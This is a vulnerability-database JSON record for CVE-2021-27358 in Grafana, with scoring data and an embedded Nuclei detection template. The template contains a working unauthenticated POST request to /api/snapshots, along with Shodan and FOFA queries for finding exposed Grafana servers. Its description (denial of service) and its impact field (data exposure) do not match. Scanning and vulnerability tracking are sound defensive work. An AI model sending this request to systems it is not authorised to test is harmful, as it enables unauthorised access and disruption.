{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-27358/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-27358/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-27358/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-27358/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-27358/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-27358"},"sightings":{"href":"/api/v1/sightings/cve-2021-27358"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.83042,"kev":false,"percentile":0.99659},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-27358.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-27358\n\ninfo:\n  name: Grafana Unauthenticated Snapshot Creation\n  author: pdteam,bing0o\n  severity: high\n  description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.\n  impact: |\n    An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.\n  remediation: |\n    Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.\n  reference:\n    - https://phabricator.wikimedia.org/T274736\n    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-27358\n    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md\n    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n    cvss-score: 7.5\n    cve-id: CVE-2021-27358\n    cwe-id: CWE-306\n    epss-score: 0.83042\n    epss-percentile: 0.99659\n    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: grafana\n    product: grafana\n    shodan-query:\n      - title:\"Grafana\"\n      - cpe:\"cpe:2.3:a:grafana:grafana\"\n      - http.title:\"grafana\"\n    fofa-query:\n      - title=\"grafana\"\n      - app=\"grafana\"\n    google-query: intitle:\"grafana\"\n  tags: cve2021,cve,grafana,unauth,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/snapshots HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"dashboard\": {\"editable\":false,\"hideControls\":true,\"nav\":[{\"enable\":false,\"type\":\"timepicker\"}],\"rows\": [{}],\"style\":\"dark\",\"tags\":[],\"templating\":{\"list\":[]},\"time\":{},\"timezone\":\"browser\",\"title\":\"Home\",\"version\":5},\"expires\": 3600}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"deleteUrl\":'\n          - '\"deleteKey\":'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n# digest: 490a004630440220482d7b53583a0aab3d34152a3adc9f76382aa61b01ed7e549279190d76ae07850220407c5753fca47632f50383ab5f979c2bfac9357a48a61a68eb46684c14ec6444:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-27358"}